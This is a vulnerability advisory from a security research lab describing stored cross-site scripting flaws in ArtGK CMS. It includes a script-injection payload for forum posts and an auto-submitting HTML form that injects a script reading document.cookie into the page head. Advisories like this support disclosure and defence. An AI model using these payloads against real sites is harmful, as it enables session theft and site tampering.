Stay in touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Script Insertion Vulnerabilities in ArtGK CMS

Advisory ID:HTB22587
Product:ArtGK CMS
Vendor:ArtGK
Vulnerable Versions:2009-08-28 16:00:00 and probably prior
Tested Version:2009-08-28 16:00:00
Advisory Publication:August 18, 2010 [without technical details]
Vendor Notification:August 18, 2010
Public Disclosure:September 1, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ArtGK CMS which could be exploited to perform script insertion attacks.

1) Script insertion vulnerabilities in ArtGK CMS
1.1 Input passed to the "content" parameter in cms/classes/CForm.php is not properly sanitized within the forum module. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
Creat a post with the following content
'XSS"><script>alert(document.cookie)</script>'
1.2 Input passed to the "_a[0][vars][head]" parameter in cms/classes/CAction.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
<form action="http://host/cms/action?async=exit" method="post" name="main" >
<input type="hidden" name="_a[0][action]" value="saveAndPublish" />
<input type="hidden" name="_a[0][id]" value="1" />
<input type="hidden" name="_a[0][vars][title]" value="page title" />
<input type="hidden" name="_a[0][vars][description]" value="description" />
<input type="hidden" name="_a[0][vars][keywords]" value="metakeys" />
<input type="hidden" name="_a[0][vars][link]" value="/" />
<input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" />
<input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22587 - https://www.htbridge.com/advisory/HTB22587 - Script Insertion Vulnerabilities in ArtGK CMS
[2] ArtGK CMS - artgk-cms.ru - ArtGK CMS is a content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
High-Tech Bridge on Facebook High-Tech Bridge on Twitter High-Tech Bridge on LinkedIn High-Tech Bridge RSS Feeds Send by Email
Share
Let's Talk